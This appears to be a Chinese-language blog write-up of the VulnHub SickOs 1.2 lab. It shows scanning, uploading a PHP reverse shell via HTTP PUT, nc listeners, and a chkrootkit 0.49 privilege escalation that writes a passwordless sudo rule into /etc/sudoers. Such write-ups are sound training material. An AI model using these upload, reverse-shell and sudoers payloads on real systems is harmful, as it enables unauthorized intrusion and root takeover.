vulnhub SickOs: 1.2

渗透思路:

nmap扫描---->dirb扫描---->通过PUT方法上传php反弹shell---->利用chkrootkit漏洞提权

环境信息:

靶机ip:192.168.101.39

攻击机ip:192.168.101.34

具体步骤:

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.39

扫描到22端口(ssh)和80端口(http)

步骤2:dirb扫描网站目录

dirb http://192.168.101.39 

除了网站主目录http://192.168.101.39/index.php,只扫到一个目录http://192.168.101.39/test/

访问一下网站主目录,发现就一张图,查看源代码也没什么线索

访问一下 http://192.168.101.39/test/发现是一个目录,目录是空的,另外还印证了一下nmap扫描结果,网站服务器是lighttpd 1.4.28。

步骤3:通过PUT方法上传php反弹shell

在网上找到的lighttpd 1.4.28历史漏洞没有getshell的,但我想或许可以通过目录遍历漏洞来获取什么敏感文件信息,里面或许有线索。尝试了许久,没有成功。

后来尝试访问http://192.168.101.39和http://192.168.101.39/test/的时候,burpsuite抓包,并将请求报文中的请求方法从GET换成PUT,只要这两个url中有支持PUT方法的,就可以上传shell。

http://192.168.101.39的请求报文的请求方法换成PUT之后,返回报文和GET的完全一样,尝试在url之后加文件名,比如http://192.168.101.39/shell.php,则会报404。这恐怕不行。

http://192.168.101.39/test/的请求报文中,先把请求方法换成OPTIONS(虎一点也可以省略这步),可以确定这个url是支持PUT方法的。

接下来修改请求报文,请求方法修改为PUT,url修改为 http://192.168.101.39/test/shell.php,请求头下面空一行,把kali linux上的/usr/share/webshells/php/php-reverse-shell.php的内容复制进来,改一下$ip和$port(分别改成攻击机ip和监听端口)。

发送之后再访问http://192.168.101.39/test/,发现该目录下已经有了一个文件shell.php

攻击机上用nc监听2333端口

nc -nlvp 2333

访问 http://192.168.101.39/test/shell.php 触发反弹shell,没想到居然失败啦…………

换了好几个端口号,最后发现监听443端口的时候能成功

nc -nlvp 443

访问 http://192.168.101.39/test/shell4.php 触发反弹shell

反弹shell中输入以下命令,得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

步骤4:利用chkrootkit漏洞提权

传输提权检测脚本linpeas.sh的时候遇到了问题,用步骤3中的方法,也就是通过burpsuite上传的linpeas.sh运行时报错。

而由于之前已经发现靶机连接很多外部端口是不允许的,因此用wget也不大行。

而通过curl命令上传linpeas.sh的时候,由于curl会先发送一个带Expect头的报文,而lighttpd不支持这个头,因此无法上传成功。

curl -v -X PUT -T /home/kali/linpeas.sh http://192.168.101.39/test/linpeas.sh

 最后现学了一个方法,通过nmap上传,终于上传成功了

sudo nmap -p 80 192.168.101.39 --script http-put --script-args http-put.url='/test/linpeas.sh',http-put.file='linpeas.sh'

上传成功后,在靶机的/var/www/test目录下执行以下命令,使linpeas.sh可执行。

chmod +x linpeas.sh

然后执行linpeas.sh

./linpeas.sh

linpeas.sh也没找到啥一眼看上去就有利用空间的东西……

定时任务这块,一堆绿色(正常)的中间有三个白色的,似乎有点东西

在攻击机上用searchsploit把这三个的exploit都search一遍,apt-xapian-index的没找到,lighttpd的没有本地提权相关的漏洞,chkrootkit倒是有

searchsploit chkrootkit

版本要求0.49。

靶机上查询 chkrootkit 版本,发现靶机上的chkrootkit的版本是0.49,这不是巧了

chkrootkit -V

我们用33899.txt那个exploit,找一下它在本地的存储位置

searchsploit -p 33899.txt

 

 看一下它的内容

cat /usr/share/exploitdb/exploits/linux/local/33899.txt 

 有教手工利用的方法:

在/tmp文件夹下新建一个名为update的文件,并以root的身份执行chkrootkit,那么/tmp/update就会被root用户执行。

看到一种比较方便的利用方法,是在/tmp/update中写入修改/etc/sudoer文件的内容,使www-data用户可以免密码以任何用户的身份执行sudo命令。

具体命令如下,其中chmod 444 /etc/sudoers只是为了方便观察/tmp/update是否被执行(因为 /etc/sudoers原本的权限是440),提权成功后记得把权限改回来

echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 444 /etc/sudoers' > /tmp/update

查看一下 /tmp/update的内容

给 /tmp/update 可执行权限

chmod +x /tmp/update

很快,/etc/sudoers的权限就变成444了

执行

sudo su

发现报错。原来sudoer的权限必须是0440啊……

那再把sudoer的权限改回来

echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

很快(不到一分钟),执行 sudo su就可以获得root权限,flag在/root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt中

后记:

我有个疑惑,为啥exploit准备好之后,不到一分钟就实现提权了呢?

如果是执行的/etc/cron.daily/chkrootkit,那按照靶机的配置应该是每天早上执行一次

所以我仔细看了一下 /etc/cron.daily/chkrootkit 的内容,配合/etc/chkrootkit.conf,发现/etc/cron.daily/chkrootkit实际上根本不会被执行

 

突然想起来,提权之前/etc/cron.d是没有权限查看的,因此在root权限下又执行了一遍

ls -al /etc/cron*

确实, /etc/cron.d下面还有个chkrootkit

果然是这货在每分钟执行一次chkrootkit

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值